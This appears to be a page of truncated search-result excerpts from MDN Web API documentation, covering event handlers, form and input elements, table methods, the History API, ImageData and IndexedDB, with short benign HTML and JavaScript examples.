JavaScript document.getElementById('demo').onclick = function changeContent() { document.getElementById('demo').innerHTML = "Help me"; document.getElementById('demo').style = "Color: red"; } Result Getting the coordinates of clicks This example displays the coordinates at which the most recent mouse button click occurred. HTML <p>Click anywhere in this example.</p> <p id="log"></p> JavaScri...
GlobalEventHandlers.oncuechange - Web APIs
e events. The cuechange event fires when a TextTrack has changed the currently displaying cues. The event is sent to both the TextTrack and to the <track> element the track is being presented by, if any; in the latter case, its handler is on an HTMLTrackElement object. Syntax element.oncuechange = handlerFunction; var handlerFunction = element.oncuechange; handlerFunction is either null or a
JavaScript function specifying the handler for the event. Specification Specification Status Comment HTML Living StandardThe definition of 'oncuechange' in that specification. Living Standard ...
GlobalEventHandlers.ondblclick - Web APIs
its sole argument. Within the function, this will be the element upon which the event was triggered. Only one ondblclick handler can be assigned to an object at a time. You may prefer to use the EventTarget.addEventListener() method instead, since it's more flexible. Example This example logs the position of double clicks. HTML <p>Double click anywhere in this example.</p> <p id="log"></p>
JavaScript let log = document.getElementById('log'); document.ondblclick = logDoubleClick; function logDoubleClick(e) { log.textContent = `Position: (${e.clientX}, ${e.clientY})`; } Result Specifications Specification Status Comment HTML Living StandardThe definition of 'ondblclick' in that specification. Living Standard ...
GlobalEventHandlers.ondurationchange - Web APIs
The ondurationchange property of the GlobalEventHandlers mixin is the EventHandler for processing durationchange events. The durationchange event is fired when the duration attribute has been updated. Syntax element.ondurationchange = handlerFunction; var handlerFunction = element.ondurationchange; handlerFunction is either null or a
JavaScript function specifying the handler for the event. Specification Specification Status Comment HTML Living StandardThe definition of 'ondurationchange' in that specification. Living Standard ...
GlobalEventHandlers.onemptied - Web APIs
Notes See the DOM event handlers page for information on working with on... handlers. The emptied event is fired when the media has become empty; for example, this event is sent if the media has already been loaded (or partially loaded), and the load() method is called to reload it. ...
GlobalEventHandlers.onended - Web APIs
The onended property of the GlobalEventHandlers mixin is the EventHandler for processing ended events. The ended event is fired when playback has stopped because the end of the media was reached. Syntax element.onended = handlerFunction; var handlerFunction = element.onended; handlerFunction is either null or a
JavaScript function specifying the handler for the event. Specification Specification Status Comment HTML Living StandardThe definition of 'onended' in that specification. Living Standard ...
GlobalEventHandlers.onfocus - Web APIs
oard accessibility back in for more details). Note: The opposite of onfocus is onblur. Syntax target.onfocus = functionRef; Value functionRef is a function name or a function expression. The function receives a FocusEvent object as its sole argument. Example This example uses onblur and onfocus to change the text within an <input> element. HTML <input type="text" value="CLICK HERE">
JavaScript let input = document.querySelector('input'); input.onblur = inputBlur; input.onfocus = inputFocus; function inputBlur() { input.value = 'Focus has been lost'; } function inputFocus() { input.value = 'Focus is here'; } Result Try clicking in and out of the form field, and watch its contents change accordingly. Specifications Specification Status Comment HTML L...
GlobalEventHandlers.oninput - Web APIs
's value. Syntax target.oninput = functionRef; Value functionRef is a function name or a function expression. The function receives an InputEvent object as its sole argument. Example This example logs the number of characters in an <input> element, every time you modify its contents. HTML <input type="text" placeholder="Type something here to see its length." size="50"> <p id="log"></p>
JavaScript let input = document.querySelector('input'); let log = document.getElementById('log'); input.oninput = handleInput; function handleInput(e) { log.textContent = `The field's value is ${e.target.value.length} character(s) long.`; } Result Specifications Specification Status Comment HTML Living StandardThe definition of 'oninput' in that specification. ...
GlobalEventHandlers.oninvalid - Web APIs
n receives a Event object as its sole argument. Example This example demonstrates oninvalid and onsubmit event handlers on a form. HTML <form id="form"> <p id="error" hidden>Please fill out all fields.</p> <label for="city">City</label> <input type="text" id="city" required> <button type="submit">Submit</button> </form> <p id="thanks" hidden>Your data has been received. ...
GlobalEventHandlers.onkeydown - Web APIs
keydown events. The keydown event fires when the user presses a keyboard key. Syntax target.onkeydown = functionRef; Value functionRef is a function name or a function expression. The function receives a KeyboardEvent object as its sole argument. Example This example logs the KeyboardEvent.code value whenever you press down a key inside the <input> element. HTML <input> <p id="log"></p>
JavaScript const input = document.querySelector('input'); const log = document.getElementById('log'); input.onkeydown = logKey; function logKey(e) { log.textContent += ` ${e.code}`; } Result Specifications Specification Status Comment HTML Living StandardThe definition of 'onkeydown' in that specification. Living Standard ...
HTMLFieldSetElement - Web APIs
ontaining form element, if this element is in a form. If the field set is not a descendant of a form element, then the attribute can be the ID of any form element in the same document it is related to, or the null value if none matches. HTMLFieldSetElement.name A DOMString reflecting the name HTML attribute, containing the name of the field set. This can be used when accessing the field set in
JavaScript. It is not part of the data which is sent to the server. HTMLFieldSetElement.typeRead only The DOMString "fieldset". HTMLFieldSetElement.validationMessage A DOMString representing a localized message that describes the validation constraints that the element does not satisfy (if any). This is the empty string if the element is not a candidate for constraint validation (willValidate is false)...
HTMLFormControlsCollection - Web APIs
ts the properties of its parent, HTMLCollection. Methods This interface inherits the methods of its parent, HTMLCollection. HTMLFormControlsCollection.namedItem() Returns the RadioNodeList or the Element in the collection whose name or id matches the specified name, or null if no nodes match. Note that this version of namedItem() hide the one inherited from HTMLCollection. Like that one, in
JavaScript, using the array bracket syntax with a String, like collection["value"] is equivalent to collection.namedItem("value"). Specifications Specification Status Comment HTML Living StandardThe definition of 'HTMLFormControlsCollection' in that specification. Living Standard No change since the last snapshot, HTML5. HTML5The definition of 'HTMLFormControlsColle...
HTMLFormElement: reset event - Web APIs
Yes Interface Event Event handler property GlobalEventHandlers.onreset Examples This example uses EventTarget.addEventListener() to listen for form resets, and logs the current Event.timeStamp whenever that occurs. HTML <form id="form"> <label>Test field: <input type="text"></label> <br><br> <button type="reset">Reset form</button> </form> <p id="log"></p>
JavaScript function logReset(event) { log.textContent = `Form reset! Time stamp: ${event.timeStamp}`; } const form = document.getElementById('form'); const log = document.getElementById('log'); form.addEventListener('reset', logReset); Result Specifications Specification Status Comment HTML Living StandardThe definition of 'reset' in that specification. Working Draft ...
HTMLFormElement: submit event - Web APIs
sion, and thus there is no submit event. Examples This example uses EventTarget.addEventListener() to listen for form submit, and logs the current Event.timeStamp whenever that occurs, then prevents the default action of submitting the form. ...
HTMLImageElement.crossOrigin - Web APIs
ls mode; all image requests by the element will use CORS, regardless of what domain the fetch is from. If crossOrigin is an empty string (""), the anonymous mode is selected. Example In this example, a new <img> element is created and added to the document, loading the image with the Anonymous state; the image will be loaded using CORS and credentials will be used for all cross-origin loads.
JavaScript The code below demonstrates setting the crossOrigin property on an <img> element to configure CORS access for the fetch of a newly-created image. const imageUrl = "https://mdn.mozillademos.org/files/16797/clock-demo-400px.png"; const container = document.querySelector(".container"); function loadImage(url) { const image = new Image(200, 200); image.addEventListener("load", () => contai...
HTMLImageElement.currentSrc - Web APIs
attribute is provided to indicate that the image should be drawn at 50% of the document width if the viewport is under 400px wide; otherwise, the image is drawn at 90% width of the document. ...
HTMLImageElement.height - Web APIs
ifically, for viewports up to 400px wide, the image is drawn at a width of 200px; otherwise, it's drawn at 300px. <p>Image height: <span class="size">?</span>px (resize to update)</p> <img src="/files/17373/clock-demo-200px.png" alt="Clock" srcset="/files/17373/clock-demo-200px.png 200w, /files/17374/clock-demo-400px.png 400w" sizes="(max-width: 400px) 200px, 300px">
JavaScript The
JavaScript code looks at the height to determine the height of the image given the width at which it's currently drawn. var clockImage = document.querySelector("img"); let output = document.querySelector(".size"); const updateHeight = event => { output.innerText = clockImage.height; }; window.addEventListener("load", updateHeight); window.addEventListener("resize", updateHeight); Result...
HTMLImageElement.srcset - Web APIs
be 200 pixels square and should have a simple border around it. Also provided is the word-break attribute, using the break-all value to tell the browser to wrap the string within the width available regardless of where in the string the wrap must occur. .box { width: 200px; border: 2px solid rgba(150, 150, 150, 255); padding: 0.5em; word-break: break-all; } .box img { width: 200px; }
JavaScript The following code is run within a handler for the window's load event. It uses the image's currentSrc property to fetch and display the URL selected by the browser from the srcset. let box = document.querySelector(".box"); let image = box.querySelector("img"); let newElem = document.createElement("p"); newElem.innerHTML = `Image: <code>${image.currentSrc}</code>`; box.appendChild(newElem); ...
HTMLImageElement.width - Web APIs
cifically, for viewports up to 400px wide, the image is drawn at a width of 200px; otherwise, it's drawn at 400px. <p>Image width: <span class="size">?</span>px (resize to update)</p> <img src="/files/16864/clock-demo-200px.png" alt="Clock" srcset="/files/16864/clock-demo-200px.png 200w, /files/16797/clock-demo-400px.png 400w" sizes="(max-width: 400px) 200px, 400px">
JavaScript The
JavaScript code looks at the width to determine the width of the image at the moment. This is done in the window's load and resize event handlers, in order to always provide this information. var clockImage = document.querySelector("img"); let output = document.querySelector(".size"); const updateWidth = event => { output.innerText = clockImage.width; }; window.addEventListener("load", up...
HTMLImageElement.x - Web APIs
their user ID, their full name, and their avatar image. <table id="userinfo"> <colgroup> <col span="2" class="group1"> <col> </colgroup> <tr> <th>UserID</th> <th>Name</th> <th>Avatar</th> </tr> <tr> <td>12345678</td> <td>Johnny Rocket</td> <td><img src="https://udn.realityripple.com/samples/d6/7ab36d79bb.jpg"</td> </th> </table> <pre id="log"> </pre>
JavaScript The
JavaScript code that fetches the image from the table and looks up its x and y values is below. let logBox = document.querySelector("pre"); let tbl = document.getElementById("userinfo") let log = msg => { logBox.innerHTML += `${msg}<br>`; } let cell = tbl.rows[1].cells[2]; let image = cell.querySelector("img"); log(`Image's global X: ${image.x}`); log(`Image's global Y: ${image.y}`); ...
HTMLImageElement.y - Web APIs
their user ID, their full name, and their avatar image. <table id="userinfo"> <colgroup> <col span="2" class="group1"> <col> </colgroup> <tr> <th>UserID</th> <th>Name</th> <th>Avatar</th> </tr> <tr> <td>12345678</td> <td>Johnny Rocket</td> <td><img src="https://udn.realityripple.com/samples/d6/7ab36d79bb.jpg"</td> </th> </table> <pre id="log"> </pre>
JavaScript The
JavaScript code that fetches the image from the table and looks up its x and y values is below. let logBox = document.querySelector("pre"); let tbl = document.getElementById("userinfo") let log = msg => { logBox.innerHTML += `${msg}<br>`; } let cell = tbl.rows[1].cells[2]; let image = cell.querySelector("img"); log(`Image's global X: ${image.x}`); log(`Image's global Y: ${image.y}`); ...
HTMLInputElement: invalid event - Web APIs
ound, the invalid event will fire on the invalid element. In this example, when an invalid event fires because of an invalid value in the input, the invalid value is logged. HTML <form action="#"> <ul> <li><label>Enter an integer between 1 and 10: <input type="number" min="1" max="10" required></label></li> <li><input type="submit" value="submit"></li> </ul> </form><p id="log"></p>
JavaScript const input = document.querySelector('input') const log = document.getElementById('log') input.addEventListener('invalid', logValue) function logValue(e) { log.textContent += e.target.value } Result Specifications Specification Status Comment HTML Living StandardThe definition of 'Invalid event' in that specification. Living Standard HTML 5.1T...
HTMLInputElement.labels - Web APIs
The HTMLInputElement.labels read-only property returns a NodeList of the <label> elements associated with the <input> element. Syntax var labelElements = input.labels; Return value A NodeList containing the <label> elements associated with the <input> element. Example HTML <label id="label1" for="test">Label 1</label> <input id="test"/> <label id="label2" for="test">Label 2</label>
JavaScript window.addEventListener("DOMContentLoaded", function() { const input = document.getElementById("test"); for(var i = 0; i < input.labels.length; i++) { console.log(input.labels[i].textContent); // "Label 1" and "Label 2" } }); Specifications Specification Status Comment HTML Living StandardThe definition of 'labels' in that specification. Living Standard ...
HTMLInputElement.select() - Web APIs
The HTMLInputElement.select() method selects all the text in a <textarea> element or in an <input> element that includes a text field. Syntax element.select(); Example Click the button in this example to select all the text in the <input> element. HTML <input type="text" id="text-box" size="20" value="Hello world!"> <button onclick="selectText()">Select text</button>
JavaScript function selectText() { const input = document.getElementById('text-box'); input.focus(); input.select(); } Result Notes Calling element.select() will not necessarily focus the input, so it is often used with HTMLElement.focus(). In browsers where it is not supported, it is possible to replace it with a call to HTMLInputElement.setSelectionRange() with parameters 0 and the input's value length: <input o...
HTMLInputElement.setRangeText() - Web APIs
after the inserted text. "preserve" attempts to preserve the selection. This is the default. Example Click the button in this example to replace part of the text in the text box. The newly inserted text will be highlighted (selected) afterwards. HTML <input type="text" id="text-box" size="30" value="This text has NOT been updated."> <button onclick="selectText()">Update text</button>
JavaScript function selectText() { const input = document.getElementById('text-box'); input.focus(); input.setRangeText('ALREADY', 14, 17, 'select'); } Result Specifications Specification Status Comment HTML Living StandardThe definition of 'HTMLInputElement.setSelectionRange()' in that specification. Living Standard No change HTML5The definition of 'HT...
HTMLInputElement.setSelectionRange() - Web APIs
o have been performed. Possible values: "forward" "backward" "none" if the direction is unknown or irrelevant. Default value. Example Click the button in this example to select the third, fourth, and fifth characters in the text box ("zil" in the word "Mozilla"). HTML <input type="text" id="text-box" size="20" value="Mozilla"> <button onclick="selectText()">Select text</button>
JavaScript function selectText() { const input = document.getElementById('text-box'); input.focus(); input.setSelectionRange(2, 5); } Result Specifications Specification Status Comment HTML Living StandardThe definition of 'HTMLInputElement.setSelectionRange()' in that specification. Living Standard No change HTML 5.1The definition of 'HTMLInputElement.
HTMLInputElement.stepDown() - Web APIs
ype: HTML <p> <label>Enter a number between 0 and 400 that is divisible by 5: <input type="number" step="5" id="theNumber" min="0" max="400"> </label> </p> <p> <label>Enter how many values of step you would like to increment by or leave it blank: <input type="number" step="1" id="decrementer" min="-2" max="15"> </label> </p> <input type="button" value="Decrement" id="theButton">
JavaScript /* make the button call the function */ let button = document.getElementById('theButton'); button.addEventListener('click', function() { stepondown();} ); function stepondown() { let input = document.getElementById('theNumber'); let val = document.getElementById('decrementer').value; if (val) { /* increment with a parameter */ input.stepDown(val); } else { /* or without a par...
HTMLInputElement.webkitEntries - Web APIs
ystemEntry, each representing one file which is selected in the <input> element. More specifically, files are represented by FileSystemFileEntry objects, and, if they're allowed, directories are represented by FileSystemDirectoryEntry objects. Example This example shows how to create a file selection <input> element and process the selected files. HTML <input id="files" type="file" multiple>
JavaScript document.getElementById("files").addEventListener("change", function(event) { event.target.webkitEntries.forEach(function(entry) { /* do stuff with the entry */ }); }); Each time a change event occurs, this code iterates over the selected files, obtaining their FileSystemEntry-based objects and acting on them. Specifications Specification Status Comment Fi...
HTMLInputElement.webkitdirectory - Web APIs
< 72. See this bug for further details. Example In this example, a directory picker is presented which lets the user choose one or more directories. When the change event occurs, a list of all files contained within the selected directory hierarchies is generated and displayed. ...
HTMLMediaElement.audioTracks - Web APIs
d in the media element. The list of tracks can be accessed using array notation, or using the object's getTrackById() method. Each track is represented by a AudioTrack object which provides information about the track. Examples In this example, all of the audio tracks on a given element are muted. HTML The HTML establishes the element itself. <video id="video" src="somevideo.mp4"></video>
JavaScript The
JavaScript code handles muting the video element's audio tracks. var video = document.getElementById("video"); for (var i = 0; i < video.audioTracks.length; i += 1) { video.audioTracks[i].enabled = false; } Specifications Specification Status Comment HTML Living StandardThe definition of 'HTMLMediaElement.audioTracks' in that specification. Living Standard ...
HTMLMediaElement: progress event - Web APIs
ent-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-areas: "button log" "video log"; } button { grid-area: button; width: 10rem; margin: .5rem 0; } video { grid-area: video; } .event-log { grid-area: log; } .event-log>label { display: block; }
JavaScript const loadVideo = document.querySelector('button'); const video = document.querySelector('video'); const eventLog = document.querySelector('.event-log-contents'); let source = null; function handleEvent(event) { eventLog.textContent = eventLog.textContent + `${event.type}\n`; } video.addEventListener('loadstart', handleEvent); video.addEventListener('progress', handleEvent); video.addEvent...
HTMLMeterElement.labels - Web APIs
only property returns a NodeList of the <label> elements associated with the <meter> element. Syntax var labelElements = meter.labels; Return value A NodeList containing the <label> elements associated with the <meter> element. Example HTML <label id="label1" for="test">Label 1</label> <meter id="test" min="0" max="100" value="70">70</meter> <label id="label2" for="test">Label 2</label>
JavaScript window.addEventListener("DOMContentLoaded", function() { const meter = document.getElementById("test"); for(var i = 0; i < meter.labels.length; i++) { console.log(meter.labels[i].textContent); // "Label 1" and "Label 2" } }); Specifications Specification Status Comment HTML Living StandardThe definition of 'labels' in that specification. Living Standa...
HTMLObjectElement.typeMustMatch - Web APIs
Boolean that reflects the typemustmatch attribute of the <object> element. It indicates if the resource linked by it must match the MIME type given by HTMLObjectElement.type in order for this resource to be used. Syntax var mustMatch = obj.typeMustMatch; obj.typeMustMatch = mustMatch; Example HTML <object id="obj" data="move.swf" type="application/x-shockwave-flash" typemustmatch></object>
JavaScript let obj = document.getElementById('obj'); console.log(obj.typeMustMatch); Specifications Specification Status Comment HTML5The definition of 'HTMLObjectElement' in that specification. Recommendation The W3C specification is a latest of a previous version of HTML Living Standard First snapshot with this property. ...
HTMLElement.blur() - Web APIs
The HTMLElement.blur() method removes keyboard focus from the current element. Syntax element.blur(); Examples Remove focus from a text input HTML <input type="text" id="myText" value="Sample Text"> <br><br> <button type="button" onclick="focusInput()">Click me to gain focus</button> <button type="button" onclick="blurInput()">Click me to lose focus</button>
JavaScript function focusInput() { document.getElementById('myText').focus(); } function blurInput() { document.getElementById('myText').blur(); } Result Specification Specification Status Comment HTML Living StandardThe definition of 'blur' in that specification. Living Standard HTML 5.1The definition of 'blur' in that specification. Recommendation HTML5The definition...
HTMLOrForeignElement.dataset - Web APIs
represent the data attributes. Note also that an HTML data-attribute and its corresponding DOM dataset.property do not share the same name, but they are always similar: In HTML, the name of a custom data attribute begins with data-. It must contain only letters, numbers, and the following characters: dash (-), dot (.), colon (:), underscore (_)--but NOT any ASCII capital letters (A to Z). In
JavaScript, the name of a custom data attribute is the name of the same HTML attribute, but in camelCase and with no dashes, dots, etc. In addition to the information below, you'll find a how-to guide for using HTML data attributes in our article Using data attributes. Name conversion dash-style to camelCase conversion A custom data attribute name is transformed to a key for the DOMStringMap entry ...
HTMLOutputElement.labels - Web APIs
Element.labels read-only property returns a NodeList of the <label> elements associated with the <output> element. Syntax var labelElements = output.labels; Return value A NodeList containing the <label> elements associated with the <output> element. Example HTML <label id="label1" for="test">Label 1</label> <output id="test">Output</output> <label id="label2" for="test">Label 2</label>
JavaScript window.addEventListener("DOMContentLoaded", function() { const output = document.getElementById("test"); for(var i = 0; i < output.labels.length; i++) { console.log(output.labels[i].textContent); // "Label 1" and "Label 2" } }); Specifications Specification Status Comment HTML Living StandardThe definition of 'labels' in that specification. Living Sta...
HTMLProgressElement.labels - Web APIs
perty returns a NodeList of the <label> elements associated with the <progress> element. Syntax var labelElements = progress.labels; Return value A NodeList containing the <label> elements associated with the <progress> element. Example HTML <label id="label1" for="test">Label 1</label> <progress id="test" value="70" max="100">70%</progress> <label id="label2" for="test">Label 2</label>
JavaScript window.addEventListener("DOMContentLoaded", function() { const progress = document.getElementById("test"); for(var i = 0; i < progress.labels.length; i++) { console.log(progress.labels[i].textContent); // "Label 1" and "Label 2" } }); Specifications Specification Status Comment HTML Living StandardThe definition of 'labels' in that specification. Livi...
HTMLSelectElement.autofocus - Web APIs
ement is inserted in the document. Setting it after the insertion, that is most of the time after the document load, has no visible effect. SyntaxEdit aBool = aSelectElement.autofocus; // Get the value of autofocus aSelectElement.autofocus = aBool; // Set the value of autofocus Example HTML <select id="mySelect" autofocus> <option>Option 1</option> <option>Option 2</option> </select>
JavaScript // Check if the autofocus attribute on the <select> var hasAutofocus = document.getElementById('mySelect').autofocus; Specifications Specification Status Comment HTML Living StandardThe definition of 'autofocus' in that specification. Living Standard HTML 5.2The definition of 'autofocus' in that specification. Recommendation ...
HTMLSelectElement.form - Web APIs
eturns a HTMLFormElement representing the form that this element is associated with. If the element is not associated with of a <form> element, then it returns null. Syntax Edit aForm = aSelectElement.form.selectname; Example HTML <form action="http://www.google.com/search" method="get"> <label>Google: <input type="search" name="q"></label> <input type="submit" value="Search..."> </form>
Javascript A property available on all form elements, "type" returns the type of the calling form element. For SELECT, the two possible values are "select-one" or "select-multiple", depending on the type of selection list. The below code gives all SELECT elements in a particular form a CSS class of "selectclass": <script type="text/
javascript"> var form_element = document.getElementById('subscribe_form');...
HTMLSelectElement.labels - Web APIs
ments associated with the <select> element. Syntax var labelElements = select.labels; Return value A NodeList containing the <label> elements associated with the <select> element. Example HTML <label id="label1" for="test">Label 1</label> <select id="test"> <option value="1">Option 1</option> <option value="2">Option 2</option> </select> <label id="label2" for="test">Label 2</label>
JavaScript window.addEventListener("DOMContentLoaded", function() { const select = document.getElementById("test"); for(var i = 0; i < select.labels.length; i++) { console.log(select.labels[i].textContent); // "Label 1" and "Label 2" } }); Specifications Specification Status Comment HTML Living StandardThe definition of 'labels' in that specification. Living Sta...
HTMLSelectElement.options - Web APIs
perty returns a HTMLOptionsCollection of the <option> elements contained by the <select> element. Syntax var options = select.options; Return value A HTMLOptionsCollection containing the <option> elements contained by the <select> element. Example HTML <label for="test">Label</label> <select id="test"> <option value="1">Option 1</option> <option value="2">Option 2</option> </select>
JavaScript window.addEventListener("DOMContentLoaded", function() { const select = document.getElementById("test"); for(var i = 0; i < select.options.length; i++) { console.log(select.options[i].label); // "Option 1" and "Option 2" } }); Specifications Specification Status Comment HTML Living StandardThe definition of 'options' in that specification. Living Stan...
HTMLTableElement.deleteCaption() - Web APIs
The HTMLTableElement.deleteCaption() method removes the <caption> element from a given <table>. If there is no <caption> element associated with the table, this method does nothing. Syntax HTMLTableElement.deleteCaption() Example This example uses
JavaScript to delete a table's caption. HTML <table> <caption>This caption will be deleted!</caption> <tr><td>Cell 1.1</td><td>Cell 1.2</td></tr> <tr><td>Cell 2.1</td><td>Cell 2.2</td></tr> </table>
JavaScript let table = document.querySelector('table'); table.deleteCaption(); Result Specifications Specification Status Comment HTML Living StandardThe definition of 'HTMLTableElement: deleteCaption' in that specification. Living Standard ...
HTMLTableElement.deleteTFoot() - Web APIs
The HTMLTableElement.deleteTFoot() method removes the <tfoot> element from a given <table>. Syntax HTMLTableElement.deleteTFoot(); Example This example uses
JavaScript to delete a table's footer. HTML <table> <thead><th>Name</th><th>Score</th></thead> <tr><td>Bob</td><td>541</td></tr> <tr><td>Jim</td><td>225</td></tr> <tfoot><th>Average</th><td>383</td></tfoot> </table>
JavaScript let table = document.querySelector('table'); table.deleteTFoot(); Result Specifications Specification Status Comment HTML Living StandardThe definition of 'HTMLTableElement: deleteTFoot' in that specification. Living Standard ...
HTMLTableElement.deleteTHead() - Web APIs
The HTMLTableElement.deleteTHead() removes the <thead> element from a given <table>. Syntax HTMLTableElement.deleteTHead(); Example This example uses
JavaScript to delete a table's header. HTML <table> <thead><th>Name</th><th>Occupation</th></thead> <tr><td>Bob</td><td>Plumber</td></tr> <tr><td>Jim</td><td>Roofer</td></tr> </table>
JavaScript let table = document.querySelector('table'); table.deleteTHead(); Result Specifications Specification Status Comment HTML Living StandardThe definition of 'HTMLTableElement: deleteTHead' in that specification. Living Standard ...
HTMLTableElement.insertRow() - Web APIs
rtRow(-1) to append a new row to a table. We then use HTMLTableRowElement.insertCell() to insert a new cell in the new row. (To be valid HTML, a <tr> must have at least one <td> element.) Finally, we add some text to the cell using Document.createTextNode() and Node.appendChild(). ...
HTMLTableRowElement.insertCell() - Web APIs
HTMLTableElement.insertRow() to append a new row to a table. We then use insertCell(0) to insert a new cell in the new row. (To be valid HTML, a <tr> must have at least one <td> element.) Finally, we add some text to the cell using Document.createTextNode() and Node.appendChild(). ...
HTMLTextAreaElement.labels - Web APIs
s read-only property returns a NodeList of the <label> elements associated with the <textarea> element. Syntax var labelElements = textArea.labels; Return value A NodeList containing the <label> elements associated with the <textArea> element. Example HTML <label id="label1" for="test">Label 1</label> <textArea id="test">Some text</textArea> <label id="label2" for="test">Label 2</label>
JavaScript window.addEventListener("DOMContentLoaded", function() { const textArea = document.getElementById("test"); for(var i = 0; i < textArea.labels.length; i++) { console.log(textArea.labels[i].textContent); // "Label 1" and "Label 2" } }); Specifications Specification Status Comment HTML Living StandardThe definition of 'labels' in that specification. Livi...
History.back() - Web APIs
calling history.go(-1). If there is no previous page, this method call does nothing. This method is asynchronous. Add a listener for the popstate event in order to determine when the navigation has completed. Syntax history.back() Examples The following short example causes a button on the page to navigate back one entry in the session history. HTML <button id="go-back">Go back!</button>
JavaScript document.getElementById('go-back').addEventListener('click', () => { history.back(); }); Specifications Specification Status Comment HTML Living StandardThe definition of 'History.back()' in that specification. Living Standard No change from HTML5. HTML5The definition of 'History.back()' in that specification. Recommendation Initial definition. ...
History.forward() - Web APIs
ve forward one page in the session history. It has the same effect as calling history.go(1). This method is asynchronous. Add a listener for the popstate event in order to determine when the navigation has completed. Syntax history.forward() Examples The following examples create a button that moves forward one step in the session history. HTML <button id='go-forward'>Go Forward!</button>
JavaScript document.getElementById('go-forward').addEventListener('click', e => { window.history.forward(); }) Specifications Specification Status Comment HTML Living StandardThe definition of 'History' in that specification. Living Standard No change from HTML5. HTML5The definition of 'History' in that specification. Recommendation Initial definition. ...
History - Web APIs
is method silently has no effect. Calling go() without parameters or a value of 0 reloads the current page. Internet Explorer lets you specify a string, instead of an integer, to go to a specific URL in the history list. pushState() Pushes the given data onto the session history stack with the specified title (and, if provided, URL). The data is treated as opaque by the DOM; you may specify any
JavaScript object that can be serialized. Note that all browsers but Safari currently ignore the title parameter. For more information, see Working with the History API. replaceState() Updates the most recent entry on the history stack to have the specified data, title, and, if provided, URL. The data is treated as opaque by the DOM; you may specify any
JavaScript object that can be serialized. Note tha...
Ajax navigation example - Web APIs
de/before_content.php: <p> [ <a class="ajax-nav" href="first_page.php">First example</a> | <a class="ajax-nav" href="second_page.php">Second example</a> | <a class="ajax-nav" href="third_page.php">Third example</a> | <a class="ajax-nav" href="unexisting.php">Unexisting page</a> ] </p> include/header.php: <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <script type="text/
javascript" src="js/ajax_nav.js"></script> <link rel="stylesheet" href="css/style.css" /> js/ajax_nav.js: "use strict"; const ajaxRequest = new (function () { function closeReq () { oLoadingBox.parentNode && document.body.removeChild(oLoadingBox); bIsLoading = false; } function abortReq () { if (!bIsLoading) { return; } oReq.abort(); closeReq(); ...
IDBFactory.cmp() - Web APIs
The cmp() method of the IDBFactory interface compares two values as keys to determine equality and ordering for IndexedDB operations, such as storing and iterating. Note: This feature is available in Web Workers. Note: Do not use this method for comparing arbitrary
JavaScript values, because many
JavaScript values are either not valid IndexedDB keys (booleans and objects, for example) or are treated as equivalent IndexedDB keys (for example, since IndexedDB ignores arrays with non-numeric properties and treats them as empty arrays, so any non-numeric arrays are treated as equivalent). This throws an exception if either of the values is not a valid key. Syntax var result = indexedDB.cmp(first, second); Parameters first The first key to compare. second The second key to compare. Retu...
IDBObjectStore.get() - Web APIs
range provided contains an invalid key. InvalidStateError The IDBObjectStore has been deleted or removed. Example In the following code snippet, we open a read/write transaction on our database and get one specific record from object store using get() -- a sample record with the key "Walk dog". Once this data object is retrieved, you could then update it using normal
JavaScript, then put it back into the database using a IDBObjectStore.put operation. For a full working example, see our To-do Notifications app (view example live.) // Let us open our database var DBOpenRequest = window.indexedDB.open("toDoList", 4); DBOpenRequest.onsuccess = function(event) { note.innerHTML += '<li>Database initialised.</li>'; // store the result of opening the database in the db ...
IIRFilterNode.getFrequencyResponse() - Web APIs
de and phase values: var myFrequencyArray = new Float32Array(5); myFrequencyArray[0] = 1000; myFrequencyArray[1] = 2000; myFrequencyArray[2] = 3000; myFrequencyArray[3] = 4000; myFrequencyArray[4] = 5000; var magResponseOutput = new Float32Array(5); var phaseResponseOutput = new Float32Array(5); Next we create a <ul> element in our HTML to contain our results, and grab a reference to it in our
JavaScript: <p>IIR filter frequency response for: </p> <ul class="freq-response-output"> </ul> var freqResponseOutput = document.querySelector('.freq-response-output'); Finally, after creating our filter, we use getFrequencyResponse() to generate the response data and put it in our arrays, then loop through each data set and output them in a human-readable list at the bottom of the page: var feedforward...
ImageBitmapRenderingContext.transferFromImageBitmap() - Web APIs
hip of the ImageBitmap is transferred to the canvas as well. This method was previously named transferImageBitmap(), but was renamed in a spec change. The old name is being kept as an alias to avoid code breakage. Syntax void ImageBitmapRenderingContext.transferFromImageBitmap(bitmap) Parameters bitmap An ImageBitmap object to transfer. Examples HTML <canvas id="htmlCanvas"></canvas>
JavaScript var htmlCanvas = document.getElementById("htmlCanvas").getContext("bitmaprenderer"); // Draw a WebGL scene offscreen var offscreen = new OffscreenCanvas(256, 256); var gl = offscreen.getContext("webgl"); // ... some drawing using the gl context ... // Transfer the current frame to the visible canvas var bitmap = offscreen.transferToImageBitmap(); htmlCanvas.transferFromImageBitmap(bitmap); ...
ImageData() - Web APIs
his example creates an ImageData object that is 200 pixels wide and 100 pixels tall, containing a total of 20,000 pixels. let imageData = new ImageData(200, 100); // ImageData { width: 200, height: 100, data: Uint8ClampedArray[80000] } Initializing ImageData with an array This example instantiates an ImageData object with pixel colors defined by an array. HTML <canvas id="canvas"></canvas>
JavaScript The array (arr) has a length of 40000: it consists of 10,000 pixels, each of which is defined by 4 values. The ImageData constructor specifies a width of 200 for the new object, so its height defaults to 10,000 divided by 200, which is 50. const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); const arr = new Uint8ClampedArray(40000); // Iterate through every pi...
ImageData.data - Web APIs
. The data array stores four values for each pixel, making 4 x 10,000, or 40,000 values in all. let imageData = new ImageData(100, 100); console.log(imageData.data); // Uint8ClampedArray[40000] console.log(imageData.data.length); // 40000 Filling a blank ImageData object This example creates and fills a new ImageData object with colorful pixels. HTML <canvas id="canvas"></canvas>
JavaScript Since each pixel consists of four values within the data array, the for loop iterates by multiples of four. The values associated with each pixel are R (red), G (green), B (blue), and A (alpha), in that order. const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); const imageData = ctx.createImageData(100, 100); // Iterate through every pixel for (let i = 0; i <...
IndexedDB API - Web APIs
may seem too complicated for simple cases. If you'd prefer a simple API, try libraries such as localForage, dexie.js, ZangoDB, PouchDB, idb, idb-keyval, JsStore and lovefield that make IndexedDB more programmer-friendly. Key concepts and usage IndexedDB is a transactional database system, like an SQL-based RDBMS. However, unlike SQL-based RDBMSes, which use fixed-column tables, IndexedDB is a
